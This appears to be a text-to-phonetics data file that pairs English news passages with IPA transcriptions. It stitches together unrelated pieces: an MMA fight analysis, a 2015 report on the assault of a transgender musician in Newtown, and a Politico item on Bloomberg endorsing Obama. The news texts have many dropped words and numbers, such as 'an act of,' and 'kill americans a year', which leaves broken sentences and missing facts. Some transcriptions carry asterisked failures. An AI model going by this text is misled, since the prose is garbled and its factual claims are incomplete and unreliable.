ˈbædər əˈweɪ. bət ˈɛniˌtaɪm ˈʤɑnsən faɪts, ðə laɪts kən goʊ aʊt ɔn hɪz əˈpoʊnənt æt ə ˈmoʊmənts ˈnoʊtɪs. ʤɑʃ bɑrˈnɛt ˈluzɪŋ tɪ bɛn ˈrɔθˌwɛl ɪn ə ˈhɛviˌweɪt ˈʃoʊˌdaʊn wɑz ə ˈmaɪnər ˈəpˌsɛt, bət ɔn ɪts oʊn, ˈwʊdənt hæv bɪn ə juʤ səˈpraɪz. bɑrˈnɛt ˈluzɪŋ ˈviə səbˈmɪʃən tɪ ˈrɔθˌwɛl, wɛl, ðæts əˈnəðər ˈstɔri. ˈsɪmələrli, seɪʤ ˈnɔrθkət ˈluzɪŋ, waɪl nɑt ɪkˈspɛktɪd baɪ moʊst, wɑz ˈsəmθɪŋ baʊnd tɪ ˈhæpən æt səm pɔɪnt ɛz ɪt wʊd bi wɪθ ˈɔlˌmoʊst ˈfaɪtər ɪn ðə spɔrt. æt ðə eɪʤ əv 19 ˈraɪtɪŋ ə ˈfaɪtər ɔf beɪst ɔn wən lɔs ɪz prɪˈpɑstərəs. bət ðə ˈneɪʧər əv hɪz səbˈmɪʃən lɔs ˈoʊpənd əp səm ril kˈwɛsʧənz, ənd ˈɛndɪd əp ˈæftər ðə fækt, biɪŋ ðə moʊst tɔkt əˈbaʊt ˈstɔri ɔn ðə ʃoʊ. wɪθ bɑrˈnɛt, ɪn ə kərɪr, hi hæd ˈnɛvər tæpt aʊt tɪ ə səbˈmɪʃən hoʊld. hi dɪd səbˈmɪt ɪn ə 2004 faɪt wɪθ kroʊ kɑp, bət ðət ˈwəzənt frəm ə səbˈmɪʃən ˌæpləˈkeɪʃən, bət ə ˈʃoʊldər ˈɪnʤəri ðət hi ˈkʊdənt kənˈtɪnju ˈfaɪtɪŋ wɪθ. hi hæd tæpt aʊt ɪn pjʊr səbˈmɪʃən ˌkɑmpəˈtɪʃən, bət ðoʊz ˈlɔsɪz ˈɔlsoʊ keɪm ɪn 2000 ənd hɪz graʊnd geɪm ɪz rəˈdɪkjələsli mɔr ədˈvænst təˈdeɪ ðən ɪt wɑz æt ðət pɔɪnt. ˈrɔθˌwɛl hæd ˈoʊnli juzd ə səbˈmɪʃən məˈnuvər tɪ wɪn wən faɪt ɪn ðə læst eɪt jɪrz, ˈoʊvər mæt mitrione*, ənd hæd ˈnɛvər tæpt aʊt ˈsəmˌwən æt bɑrˈnɛts ˈlɛvəl. ðə meɪn teɪk ɪz ðət ˈɛniˌθɪŋ kən ˈhæpən ɪn ðə spɔrt. wɪn ˈsəmˌwən hu ɪz 38 ˈluzɪz, ðə kˈwɛʃən ɪz ˈɔlˌweɪz əˈbaʊt ˈwɛðər ðeɪ ʃʊd kənˈtɪnju. bət bɑrˈnɛt wɑz ˈfeɪsɪŋ ˈsəmˌwən hu naʊ həz tɪ bi ɪn ðə dɪˈskəʃən fər ə ˈhɛviˌweɪt ˈtaɪtəl ʃɑt, ənd wɑz kəmˈpɛtɪtɪv wɪθ ɪm ðə ɪnˈtaɪər weɪ ənˈtɪl ðə ˈʃɑkɪŋ ˈfɪnɪʃ. ðɛr wɑz ˈnəθɪŋ ɪn ðə faɪt ðət sɛd ðət ɪf ðeɪ wər rematched*, bɑrˈnɛt ˈwʊdənt hæv ə gʊd ʃɑt əv ˈwɪnɪŋ. bɑrˈnɛt wən ðə fərst raʊnd ɔn ɔl θri ˈskɔrˌkɑrdz, ənd ˈsɪmpli lɛft hɪmˈsɛlf ˈoʊpən ɔn ə əˈtɛmpt. fər ˈnɔrθkət, ðə ˌsɪʧuˈeɪʃən wɑz ˈvɛri ˈdɪfərənt. ɪt ˈwəzənt ðə ʃɑk əv ɪm ˈgɪtɪŋ kɔt, ɪt wɑz əv ɪm ˈtæpɪŋ æt ðə ˈmoʊmənt hi dɪd. ˈnɔrθkət hæd ˈteɪkən ðə fərst raʊnd frəm braɪən ɪn ə faɪt pʊt təˈgɛðər ˈklɪrli tɪ ˈʃoʊˌkeɪs ˈnɔrθkət ɔn fɑks. ˈnɔrθkət həz bɪn ə pɛt ˈprɑʤɛkt sɪns ˈdeɪnə waɪt ˌɪntrəˈdust ɪm ɔn hɪz "lookin*' fər ə faɪt" ˈjuˌtub ʃoʊ ɪn ðə fɔl. ðɪs ˈɪzənt ə spɔrt wɛr wən lɔs pʊts ju ɔn ðə skræp hip. bət wɪn ˈnɔrθkət tæpt tɪ ən ɑrm ˈtraɪˌæŋgəl waɪl ˈhoʊldɪŋ hæf gɑrd, ə muv ðət ɪz ˈrɛrli ɪf ˈɛvər ə səbˈmɪʃən ɔn ðə ˈmeɪʤər lig steɪʤ, ənd ɪn ə faɪt wɛr hi ˈnɛvər lʊkt ɪn ˈsɪriəs ˈtrəbəl, ɪt ˈoʊpənd əp ril kˈwɛsʧənz. ˈɛvəri ˈfaɪtər, frəm ʤɑn ʤoʊnz ɔn daʊn, ɪz goʊɪŋ tɪ feɪs ˈsɪriəs ædˈvərsɪˌti ˈdʊrɪŋ ðɛr kərɪr. ˈivɪn ðə moʊst ˈtæləntɪd ˈfaɪtərz hæv bæd deɪz. ðə mɑrk əv ə tɔp ˈfaɪtər ɪz ˈsəmˌwən hu wɪn pʊt ɪn ən ˌædˈvərs pəˈzɪʃən, ˈjuʒəwəli gɪts aʊt əv ˈtrəbəl. noʊ ˈmætər haʊ ˈtæləntɪd ə ˈfaɪtər ɪz, ɪf ðeɪ doʊnt hæv ðə mɛnˈtælɪti tɪ du ðət, ðeɪ ər nɑt goʊɪŋ ˈvɛri fɑr ɪn ðɪs spɔrt. ɪt wɑz lɛs ðən tu mənθs əˈgoʊ wɪn wɑz prəˈmoʊtəd ə ʃoʊ əraʊnd "seɪʤ ənd peɪʤ," ðə hɑt ˈprɑspɛkts, wɪθ hɑt ˈhævɪŋ ə ˈdɪfərənt ˈminɪŋ ðən wən ˈjuʒəwəli ˈjuzɪz fər ɪt fər ˈfaɪtərz. ðɛr wɑz ˈæˌkʧuəli dɪˈskəʃən ɔn ˈtɛləˌvɪʒən ənd ɪn ðə ˈmidiə rɪˈgɑrdɪŋ boʊθ, ˌɪnˈkludɪŋ ˈwɛðər ˈiðər kʊd bit ʤɑn ʤoʊnz' ˈrɛkərd fər ðə ˈjəŋgəst ˈʧæmpiən ˈɛvər. ðə dɪˈskəʃənz wər ˌpriməˈʧʊr tɪ bɪˈgɪn wɪθ, ənd təˈdeɪ ðoʊz tɔks sim ˈlæfəbəl. boʊθ lɔst, ənd ɪt ˈwəzənt bɪˈkəz ðeɪ gɑt kɔt wɪθ ə pənʧ, ər bɪˈkəz əv ə bæd dɪˈsɪʒən. ðeɪ wər boʊθ ɪkˈspoʊzd ɛz biɪŋ ˈnoʊˌwɛr nɪr tɔp ˈlɛvəl. bət wɪθ peɪʤ ˈvɑnzənt, hər lɔs wɑz bɪˈkəz ʃi ˈdɪdənt hæv ðə skɪl, bət ɪn ˈluzɪŋ, ʃi ʃoʊd ənkˈwɛsʧənd hɑrt. ʃi fɔt θru raʊnd wɪˈθaʊt ən ˈænsər fər hər əˈpoʊnənt. ʃi stɪl kənˈtɪnjud tɪ gɪt aʊt əv wən bæd pəˈzɪʃən ˈæftər əˈnəðər. wɪθ ˈnɔrθkət, hi simd ðə mɔr skɪld əv ðə tu mɛn ɪn ðə keɪʤ. ɪn hɪz faɪt wɪθ ˈkoʊdi ˈfɪstər, ðɛr wɑz ə hoʊl ɪn hɪz geɪm, ðət wɪn hi ɪz ɔn hɪz bæk, hi ˈdəzənt gɪt əp soʊ kˈwɪkli. bət hi sərˈvaɪvd ənd keɪm bæk tɪ wɪn ðət faɪt. wɪn ðə seɪm θɪŋ ˈhæpənd ɪn raʊnd tu wɪθ, hi wəns əˈgɛn ˈdɪdənt gɪt əp kˈwɪkli. ðɪs taɪm hi tæpt ɪn ə spɑt ˈnoʊˌbɑˌdi ɪkˈspɛktɪd ɪm tɪ. ɔˈrɛdi riˈzɛnəd baɪ səm ˈfaɪtərz ənd fænz bɪˈkəz əv hɪz feɪs, fəˈzik, haɪp ənd ˈpeɪˌʧɛk, ðə sˈlaɪtəst hɪnt əv biɪŋ əˈneɪbəl tɪ ˈhændəl ædˈvərsɪˌti ˈædɪd tɪ hɪz ˈkɛrɪktər treɪts ɪz ˈoʊnli goʊɪŋ tɪ meɪk ɪm riˈzɛnəd ˈivɪn wərs. ˈnɔrθkət sɪns rɪˈvild ðət hi ˈnɪrli pʊld aʊt əv ðə faɪt wɪθ strɛp θroʊt, ənd fɔt waɪl ˈloʊdɪd əp ɔn ˌæntibaɪˈɑtɪks. ˈfaɪtɪŋ ˈprɑbəˌbli ˈwəzənt ðə sˈmɑrtəst muv ɪn ˈhaɪnˌsaɪt. hil hæv ˈɛvəri ˌɑpərˈtunəti tɪ riˈbaʊnd, bət dɪˈskəʃənz ənd ˌɛkspɛkˈteɪʃənz əˈbaʊt ˈʧæmpiənˌʃɪps ər goʊɪŋ tɪ hæv tɪ bi ərnd ɪn ðə keɪʤ goʊɪŋ ˈfɔrwərd. lɛts lʊk æt haʊ ˈfɔrʧənz ʧeɪnʤd fər faɪv stɑrz əv ˈsæˌtɪˌdeɪ naɪts ʃoʊ æt ðə pruˈdɛnʃəl ˈsɛnər ɪn nuərk, n.j*. ˈænθɔˌni ˈʤɑnsən ˈʤɑnsən wɑz hir raɪt hir ə jɪr əˈgoʊ. ɪn ə baʊt tɪ dɪˈtərmən ðə nɛkst laɪt ˈhɛviˌweɪt ˈtaɪtəl kənˈtɛndər ɔn ðə ˈʤænjuˌɛri fɑks meɪn ɪˈvɛnt, ˈʤɑnsən ˈflætənd ˌælɪgˈzændər ˈgustɑfsən ɪn hi ðɛn lɔst hɪz ˈtaɪtəl baʊt tɪ ˈdænjəl ˈkɔrmiər. naʊ, hiz ˈlaɪkli tɪ feɪs ðə ˈwɪnər əv ʤoʊnz ˈvərsəz. ˈkɔrmiər ii*, ˈivɪn ɪf ˈkɔrmiər sɪz ˈəðərˌwaɪz. ˈvərʒən əv ðə tɔp əv ðə dɪˈvɪʒən ɪz hiz ˈbitɪŋ ʤoʊnz ɪn ðɛr ˈriˈmæʧ, ənd ðɛn ˈfeɪsɪŋ ʤoʊnz ɪn ðə ˈrəbər mæʧ, ənd ðət ˈʤɑnsən wɪl hæv tɪ weɪt ənˈtɪl 2017 ɪf ʤoʊnz wɪnz, ðɛr ɪz noʊ kˈwɛʃən ˈʤɑnsən ʃʊd bi hɪz fərst əˈpoʊnənt. ɪf θɪŋz goʊ laɪk ˈkɔrmiər sɪz, ənd ˈʤɑnsən wʊd hæv tɪ weɪt ə lɔŋ taɪm, ˈgləvər meɪks ðə moʊst sɛns ɛz ðə nɛkst əˈpoʊnənt. wɪθ ˈʤɑnsənz paʊər, ˈwɛðər ɪts ʤoʊnz, ˈkɔrmiər ər təkˈsɛrə, ðeɪ kænt əˈfɔrd ə mɪˈsteɪk, bɪˈkəz wən bæd pəˈzɪʃən, ər biɪŋ ˈoʊpən fər wən pənʧ kən ɛnd ðə naɪt kˈwɪkli. raɪən ˈbædər ˈwɪnɪŋ strik wɛnt daʊn fæst. ˈbædər, mɔr ənd mɔr, ɪz ˈlʊkɪŋ laɪk ə ˈfaɪtər hu kən rɪˈmeɪn haɪ ɪn ðə dɪˈvɪʒən fər jɪrz, bət wɪn mæʧt əˈgɛnst ðə tru ɪˈlit ˈfaɪtərz, laɪk ˈʤɑnsən ənd ʤoʊnz, hi ˈdəzənt fɛr wɛl. ɛz fɑr ɛz hu hi ʃʊd faɪt nɛkst, ðə bɛst foʊz wʊd bi ˌælɪgˈzændər ˈgustɑfsən ər təkˈsɛrə. wɪθ ˈgustɑfsən, ə wɪn wʊd bi ðə kˈwɪkɪst weɪ aʊt əv ðə pərˈsɛpʃən ɛz ə kənˈtɛndər hu kænt bi ˈʧæmpiən. ɪts ə ˈlɑʤɪkəl mæʧ æt ðɪs pɔɪnt. ˈgustɑfsən meɪ hæv lɔst θri əv fɔr, bət hi tʊk boʊθ ʤoʊnz ənd ˈkɔrmiər tɪ ðə ˈlɪmət. ˈbædər lɔst tɪ təkˈsɛrə ɪn 2013 ɪn ə ʃɔrt faɪt wɛr boʊθ mɛn ˈɛndɪd əp ɪn ˈtrəbəl raɪt əˈweɪ. bɛn ˈrɔθˌwɛl wɪn, moʊst ˈnoʊtəbli ðə ˈmætər wɪʧ hi wən ənd ðə steɪʤ hi wən ɪt ɔn, meɪks ðə ˈhɛviˌweɪt ˈʧæmpiənˌʃɪp ˈpɪkʧər ˈivɪn mɔr ˈɪntəˌrɛstɪŋ. ˈdeɪnə waɪt sɛd ˈərliər ɪn ðə wik ðət keɪn vɛˈlæskɛz, hu wɑz tɪ gɪt ə ˈtaɪtəl ʃɑt æt ðɪs wik, wʊd bi ˌəndərˈgoʊɪŋ bæk ˈsərʤəri. ˌhaʊˈɛvər, hi ˈɔlsoʊ sɛd vɛˈlæskɛz wʊd ˈoʊnli bi aʊt fər fɔr wiks. wɪθ ˈɔlsoʊ biɪŋ aʊt du tɪ ˈsɛvərəl ˈɪnʤəriz, ðə ˈkəmpəˌni ɪz fɪld wɪθ ˈɔpʃənz. kʊd feɪs vɛˈlæskɛz ɛz wɑz plænd. vɛˈlæskɛz ɪz ðə ˈbɪgəst neɪm wɪθ ðə moʊst ˈʧæmpiənˌʃɪp ənd meɪn ɪˈvɛnt ˈhɪstəri əv ðə fɔr ˈvaɪəbəl kənˈtɛndərz. ˈrɔθˌwɛl həz wən fɔr ɪn ə roʊ, ˌɪnˈkludɪŋ ə wɪn ˈoʊvər ˈælɪˌstɛr. 1 noʊ ˈkɑntɛst), həz θri wɪnz ɪn ə roʊ, ðə læst tu ˈoʊvər rɔɪ ˈnɛlsən ənd ˈʤunjər dɔs ˈsæntoʊs. hiz ˈɔlsoʊ nɑt ˈəndər ˈkɑnˌtrækt æt ðɪs pɔɪnt, bət ðə dɪz hæv ðə raɪt tɪ mæʧ ˈɛni ˈaʊtˈsaɪd ˈɔfər. staɪp həz wən faɪv əv sɪks, wɪθ ðə lɔs kloʊz əˈgɛnst dɔs ˈsæntoʊs. bət hɪz læst faɪt wɑz ə wɪn ˈoʊvər ˈænˌdreɪ, ˈkəmɪŋ ɔf ə ˈstɑpɪʤ əv mɑrk hənt. wɪn vɛˈlæskɛz wɛnt daʊn, wɑz ðə ˈpərsən ðə pɪkt fər ðə ˈtaɪtəl ʃɑt. ɪf ðə goʊz wɪθ vɛˈlæskɛz ɛz ðə nɛkst kənˈtɛndər, ðɛn ˈrɔθˌwɛl ˈvərsəz. lʊks ðə weɪ tɪ goʊ. ɪf ðeɪ goʊ wɪθ ɛz ðə kənˈtɛndər, ðə seɪm stɪl goʊz. ɪf ɪts, ðɛn vɛˈlæskɛz ˈvərsəz. lʊks laɪk ə ˈvaɪəbəl dɪˈrɛkʃɪn, ˈlivɪŋ ˈrɔθˌwɛl wɪθ dɔs ˈsæntoʊs ər ˈtrævɪs braʊn ʤɑʃ bɑrˈnɛt ˈivɪn ðoʊ hi lɔst, bɑrˈnɛt həz noʊ ˈʃɔrtɪʤ əv əˈpoʊnənts fər ə haɪ ˈproʊˌfaɪl faɪt. ˈʤunjər dɔs ˈsæntoʊs ənd mɑrk hənt kʊd ɔl meɪn ɪˈvɛnt ə ˈtɛləˌvɪʒən ʃoʊ əˈgɛnst bɑrˈnɛt ər bi ə strɔŋ meɪn kɑrd faɪt ɔn pay-per-view*. ə wɪn wʊd kip ɪm strɔŋ ɪn ə dɪˈvɪʒən ðət læks dɛpθ, ənd ə dɪˈvɪʒən wɛr eɪʤ ˈɪzənt ɛz məʧ əv ə ˈfæktər bɪˈkəz moʊst əv ðə tɔp 15 ər ˈoʊvər 35 ˈwɪlsən riz riz skɔrd ə ˈsɑləd dɪˈsɪʒən wɪn ˈoʊvər ˈdəstɪn ˌɔrˈtiz ɪn ə prɪˈlɪm faɪt ðət ˈpɪtɪd tu ræŋkt əˈgɛnst iʧ ˈəðər. riz pʊt ɔn ə ˈdɑmənənt ənd ˈgræpəlɪŋ pərˈfɔrməns tɪ muv tɪ sɪns deɪˈbjutɪŋ ɛz ə. boʊθ ˌhɔrɪˈguʧi ənd luɪs sˈmoʊlkə ər əˈweɪtɪŋ əˈpoʊnənts ənd ˈiðər faɪt wʊd bi ə ˈsɑləd kənˈtɛndərz faɪt. ðə ˈprɑbləm wɪθ ɪz ðət ˈnoʊˌbɑˌdi siz ˈɛniˌwən biɪŋ ˈeɪbəl tɪ bit ˈʤɑnsən, soʊ ðə ˈmuvmənt ɪn ðə tɔp tɛn ˈɪzənt ˈfoʊkɪst ɔn ɛz məʧ ɛz ɪn ˈəðər weɪt ˈklæsɪz. |
written by baroni on june 13, 2015
police have charged a second man in relation to the bashing of transgender woman stephanie mccarthy, bassist for sydney band love maul, at the town hall hotel on friday night, june.
police executed a search warrant at a home yesterday, friday june, seizing clothing and other items, including “a small quantity of cannabis”. they arrested a man who has been charged with recklessly inflicting grievous bodily harm, assault actual bodily harm, and possessing a prohibited drug.
he is the second person to be arrested and charged in relation to the bashing of bashing of the mccarthy, as she was waiting to perform with her band at the town hall hotel. earlier this week, police arrested and charged a man in relation to this matter.
both men will appear before newtown local court on thursday july 2015.
mccarthy claimed that the incident was an act of, committed by a group of men at the hotel who had been following her around all night. after the incident, in which she alleges the men pulled her hair and repeatedly punched her in the face, she shared a picture of her bruises and injuries.
she also said lockout laws had contributed to the rise of violence and on the streets of newtown, which is outside of the lockout zones.
“there are people who are going out here on a friday or saturday night that would have never, ever come to newtown previously,” mccarthy said. “i’m one in a long line of people been assaulted of late. everyone has been a target transgender, gay, lesbian people who look different. heard of punks getting assaulted, getting assaulted insane.”
police investigations into the matter are continuing, and officers are still urging anyone who might have information about the incident to contact crime stoppers.
the incident has sparked a massive outcry from the citizens of newtown, who took to the streets shortly after the incident to voice their support for mccarthy and the trans community, and protest against violence and.
watch: protest against violence and outside town hall hotel, newtown | ˈrɪtən baɪ bɑˈroʊni ɔn ʤun 13 2015 pəˈlis hæv ʧɑrʤd ə ˈsɛkənd mæn ɪn riˈleɪʃən tɪ ðə ˈbæʃɪŋ əv ˈtrænzˈʤɛndər ˈwʊmən ˈstɛfəni məˈkɑrθi, ˈbeɪsɪst fər ˈsɪdni bænd ləv mɔl, æt ðə taʊn hɔl hoʊˈtɛl ɔn ˈfraɪˌdeɪ naɪt, ʤun. pəˈlis ˈɛksəˌkjutɪd ə sərʧ ˈwɔrənt æt ə hoʊm ˈjɛstərˌdeɪ, ˈfraɪˌdeɪ ʤun, ˈsizɪŋ ˈkloʊðɪŋ ənd ˈəðər ˈaɪtəmz, ˌɪnˈkludɪŋ smɔl kˈwɑntəti əv cannabis”*”. ðeɪ ərˈɛstɪd ə mæn hu həz bɪn ʧɑrʤd wɪθ ˈrɛkləsli ˌɪnˈflɪktɪŋ ˈgrivəs ˈbɑdəli hɑrm, əˈsɔlt ˈækʧəwəl ˈbɑdəli hɑrm, ənd pəˈzɛsɪŋ ə proʊˈhɪbətəd drəg. hi ɪz ðə ˈsɛkənd ˈpərsən tɪ bi ərˈɛstɪd ənd ʧɑrʤd ɪn riˈleɪʃən tɪ ðə ˈbæʃɪŋ əv ˈbæʃɪŋ əv ðə məˈkɑrθi, ɛz ʃi wɑz ˈweɪtɪŋ tɪ pərˈfɔrm wɪθ hər bænd æt ðə taʊn hɔl hoʊˈtɛl. ˈərliər ðɪs wik, pəˈlis ərˈɛstɪd ənd ʧɑrʤd ə mæn ɪn riˈleɪʃən tɪ ðɪs ˈmætər. boʊθ mɛn wɪl əˈpɪr ˌbiˈfɔr ˈnuˌtaʊn ˈloʊkəl kɔrt ɔn ˈθərzˌdeɪ ˌʤuˈlaɪ 2015 məˈkɑrθi kleɪmd ðət ðə ˈɪnsədənt wɑz ən ækt əv, kəˈmɪtɪd baɪ ə grup əv mɛn æt ðə hoʊˈtɛl hu hæd bɪn ˈfɑloʊɪŋ hər əraʊnd ɔl naɪt. ˈæftər ðə ˈɪnsədənt, ɪn wɪʧ ʃi əˈlɛʤɪz ðə mɛn pʊld hər hɛr ənd rɪˈpitɪdli pənʧt hər ɪn ðə feɪs, ʃi ʃɛrd ə ˈpɪkʧər əv hər ˈbruzɪz ənd ˈɪnʤəriz. ʃi ˈɔlsoʊ sɛd ˈlɑˌkaʊt lɔz hæd kənˈtrɪbjutɪd tɪ ðə raɪz əv ˈvaɪələns ənd ɔn ðə strits əv ˈnuˌtaʊn, wɪʧ ɪz ˈaʊtˈsaɪd əv ðə ˈlɑˌkaʊt zoʊnz. ər ˈpipəl hu ər goʊɪŋ aʊt hir ɔn ə ˈfraɪˌdeɪ ər ˈsæˌtɪˌdeɪ naɪt ðət wʊd hæv ˈnɛvər, ˈɛvər kəm tɪ ˈnuˌtaʊn previously,”*,” məˈkɑrθi sɛd. wən ɪn ə lɔŋ laɪn əv ˈpipəl bɪn əˈsɔltɪd əv leɪt. ˈɛvriˌwən həz bɪn ə ˈtərgət ˈtrænzˈʤɛndər, geɪ, ˈlɛzbiən ˈpipəl hu lʊk ˈdɪfərənt. hərd əv pəŋks ˈgɪtɪŋ əˈsɔltɪd, ˈgɪtɪŋ əˈsɔltɪd insane.”*.” pəˈlis ˌɪnˌvɛstəˈgeɪʃənz ˈɪntu ðə ˈmætər ər kənˈtɪnjuɪŋ, ənd ˈɔfɪsərz ər stɪl ˈərʤɪŋ ˈɛniˌwən hu maɪt hæv ˌɪnˌfɔrˈmeɪʃən əˈbaʊt ðə ˈɪnsədənt tɪ ˈkɑnˌtækt kraɪm ˈstɑpərz. ðə ˈɪnsədənt həz spɑrkt ə ˈmæsɪv ˈaʊtˌkraɪ frəm ðə ˈsɪtɪzənz əv ˈnuˌtaʊn, hu tʊk tɪ ðə strits ˈʃɔrtli ˈæftər ðə ˈɪnsədənt tɪ vɔɪs ðɛr səˈpɔrt fər məˈkɑrθi ənd ðə trænz kəmˈjunɪti, ənd ˈproʊˌtɛst əˈgɛnst ˈvaɪələns ənd. wɔʧ: ˈproʊˌtɛst əˈgɛnst ˈvaɪələns ənd ˈaʊtˈsaɪd taʊn hɔl hoʊˈtɛl, ˈnuˌtaʊn |
bloomberg endorses obama (updated)
new york city mayor mike bloomberg, whose city is still partially submerged, without power and facing a rising death toll from hurricane sandy, endorses president obama, via the twitters:
and if anyone is wondering what message bloomberg, who had for months signaled he would stay out of the presidential race, is sending with this endorsement, click here. the endorsement moves climate change front and center in a way that the mayor, who endorses based on specific issues, clearly wants it to be.
bloomberg has been critical of obama in the past and declined to have obama come visit new york the president went to new jersey, instead. but as the endorsement makes clear, that was not a diss. and the endorsement of the mayor, a business leader, is one that obama and mitt romney had both sought.
update: bloomberg lays out his case here on his political website, in which he argues that sandy exemplifies the climate change issue:
but we can't do it alone. we need leadership from the white house and over the past four years, president barack obama has taken major steps to reduce our carbon consumption, including setting higher standards for cars and trucks. his administration also has adopted tighter controls on mercury emissions, which will help to close the dirtiest coal power plants (an effort i have supported through my philanthropy), which are estimated to kill americans a year. mitt romney, too, has a history of tackling climate change. as governor of massachusetts, he signed on to a regional plan designed to reduce carbon emissions 10 percent below 1990 levels. "the benefits (of that plan) will be and enormous benefits to our health, our economy, our quality of life, our very landscape. these are actions we can and must take now, if we are to have `no regrets' when we transfer our temporary stewardship of this earth to the next generation," he wrote at the time. he couldn't have been more right. but since then, he has reversed course, abandoning the very program he once supported. this issue is too important. we need determined leadership at the national level to move the nation and the world forward. i believe mitt romney is a good and decent man, and he would bring valuable business experience to the oval office. he understands that america was built on the promise of equal opportunity, not equal results. in the past he has also taken sensible positions on immigration, illegal guns, abortion rights and health care. but he has reversed course on all of them, and is even running against the model he signed into law in massachusetts.
that last point, about romney having "reversed course on all of" his past "sensible" positions, is at the heart of obama's argument against romney right now.
bloomberg has gotten more engaged in electoral politics in the past few weeks, using his to fund a super pac that senior adviser and current deputy mayor howard wolfson is running.
bloomberg is not a pull. but coupled with the warm words from new jersey gov. chris christie, whose state was similarly battered by the storm, obama has had two days in which the cable news focus is going to be on the storm and on testimonials about him.
maggie haberman is senior political reporter for politico. | ˈblumbərg ɛnˈdɔrsɪz ˌoʊˈbɑmə (ˈəpˌdeɪtɪd) nu jɔrk ˈsɪti meɪər maɪk ˈblumbərg, huz ˈsɪti ɪz stɪl ˈpɑrʃəli səbˈmərʤd, wɪˈθaʊt paʊər ənd ˈfeɪsɪŋ ə ˈraɪzɪŋ dɛθ toʊl frəm ˈhərəˌkeɪnz ˈsændi, ɛnˈdɔrsɪz ˈprɛzɪdənt ˌoʊˈbɑmə, ˈviə ðə twitters*: ənd ɪf ˈɛniˌwən ɪz ˈwəndərɪŋ wət ˈmɛsɪʤ ˈblumbərg, hu hæd fər mənθs ˈsɪgnəld hi wʊd steɪ aʊt əv ðə ˌprɛzɪˈdɛnʃəl reɪs, ɪz ˈsɛndɪŋ wɪθ ðɪs ɛnˈdɔrsmənt, klɪk hir. ðə ɛnˈdɔrsmənt muvz ˈklaɪmɪt ʧeɪnʤ frənt ənd ˈsɛnər ɪn ə weɪ ðət ðə meɪər, hu ɛnˈdɔrsɪz beɪst ɔn spɪˈsɪfɪk ˈɪʃuz, ˈklɪrli wɔnts ɪt tɪ bi. ˈblumbərg həz bɪn ˈkrɪtɪkəl əv ˌoʊˈbɑmə ɪn ðə pæst ənd dɪˈklaɪnd tɪ hæv ˌoʊˈbɑmə kəm ˈvɪzɪt nu jɔrk ðə ˈprɛzɪdənt wɛnt tɪ nu ˈʤərzi, ˌɪnˈstɛd. bət ɛz ðə ɛnˈdɔrsmənt meɪks klɪr, ðət wɑz nɑt ə dɪs. ənd ðə ɛnˈdɔrsmənt əv ðə meɪər, ə ˈbɪznɪs ˈlidər, ɪz wən ðət ˌoʊˈbɑmə ənd mɪt ˈrɑmni hæd boʊθ sɔt. ˈəpˌdeɪt: ˈblumbərg leɪz aʊt hɪz keɪs hir ɔn hɪz pəˈlɪtɪkəl ˈwɛbˌsaɪt, ɪn wɪʧ hi ˈɑrgjuz ðət ˈsændi ɪgˈzɛmpləˌfaɪz ðə ˈklaɪmɪt ʧeɪnʤ ˈɪʃu: bət wi kænt du ɪt əˈloʊn. wi nid ˈlidərˌʃɪp frəm ðə waɪt haʊs ənd ˈoʊvər ðə pæst fɔr jɪrz, ˈprɛzɪdənt ˈbɑrək ˌoʊˈbɑmə həz ˈteɪkən ˈmeɪʤər stɛps tɪ rɪˈdus ɑr ˈkɑrbən kənˈsəmʃən, ˌɪnˈkludɪŋ ˈsɛtɪŋ haɪər ˈstændərdz fər kɑz ənd trəks. hɪz ædˌmɪnɪˈstreɪʃən ˈɔlsoʊ həz əˈdɑptəd ˈtaɪtər kənˈtroʊlz ɔn ˈmərkjəri ɪˈmɪʃənz, wɪʧ wɪl hɛlp tɪ kloʊz ðə ˈdərtiəst koʊl paʊər plænts (ən ˈɛfərt aɪ hæv səˈpɔrtɪd θru maɪ fɪˈlænθrəpi), wɪʧ ər ˈɛstəˌmeɪtɪd tɪ kɪl əˈmɛrɪkənz ə jɪr. mɪt ˈrɑmni, tu, həz ə ˈhɪstəri əv ˈtækəlɪŋ ˈklaɪmɪt ʧeɪnʤ. ɛz ˈgəvərnər əv ˌmæsəˈʧusəts, hi saɪnd ɔn tɪ ə ˈriʤənəl plæn dɪˈzaɪnd tɪ rɪˈdus ˈkɑrbən ɪˈmɪʃənz 10 pərˈsɛnt bɪˈloʊ 1990 ˈlɛvəlz. "ðə ˈbɛnəfɪts (əv ðət plæn) wɪl bi ənd ɪˈnɔrmɪs ˈbɛnəfɪts tɪ ɑr hɛlθ, ɑr ɪˈkɑnəmi, ɑr kˈwɑləti əv laɪf, ɑr ˈvɛri ˈlænˌskeɪp. ðiz ər ˈækʃənz wi kən ənd məst teɪk naʊ, ɪf wi ər tɪ hæv `noʊ rɪˈgrɛts' wɪn wi ˈtrænsfər ɑr ˈtɛmpərˌɛri ˈstuərdˌʃɪp əv ðɪs ərθ tɪ ðə nɛkst ˌʤɛnərˈeɪʃən," hi roʊt æt ðə taɪm. hi ˈkʊdənt hæv bɪn mɔr raɪt. bət sɪns ðɛn, hi həz rɪˈvərst kɔrs, əˈbændənɪŋ ðə ˈvɛri ˈproʊˌgræm hi wəns səˈpɔrtɪd. ðɪs ˈɪʃu ɪz tu ˌɪmˈpɔrtənt. wi nid dɪˈtərmənd ˈlidərˌʃɪp æt ðə ˈnæʃənəl ˈlɛvəl tɪ muv ðə ˈneɪʃən ənd ðə wərld ˈfɔrwərd. aɪ bɪˈliv mɪt ˈrɑmni ɪz ə gʊd ənd ˈdisənt mæn, ənd hi wʊd brɪŋ ˈvæljəbəl ˈbɪznɪs ɪkˈspɪriəns tɪ ðə ˈoʊvəl ˈɔfəs. hi ˌəndərˈstændz ðət əˈmɛrɪkə wɑz bɪlt ɔn ðə ˈprɑməs əv ˈikwəl ˌɑpərˈtunəti, nɑt ˈikwəl rɪˈzəlts. ɪn ðə pæst hi həz ˈɔlsoʊ ˈteɪkən ˈsɛnsəbəl pəˈzɪʃənz ɔn ˌɪməˈgreɪʃən, ˌɪˈligəl gənz, əˈbɔrʃən raɪts ənd hɛlθ kɛr. bət hi həz rɪˈvərst kɔrs ɔn ɔl əv ðɛm, ənd ɪz ˈivɪn ˈrənɪŋ əˈgɛnst ðə ˈmɑdəl hi saɪnd ˈɪntu lɔ ɪn ˌmæsəˈʧusəts. ðət læst pɔɪnt, əˈbaʊt ˈrɑmni ˈhævɪŋ "rɪˈvərst kɔrs ɔn ɔl əv" hɪz pæst "ˈsɛnsəbəl" pəˈzɪʃənz, ɪz æt ðə hɑrt əv ˌoʊˈbɑməz ˈɑrgjəmənt əˈgɛnst ˈrɑmni raɪt naʊ. 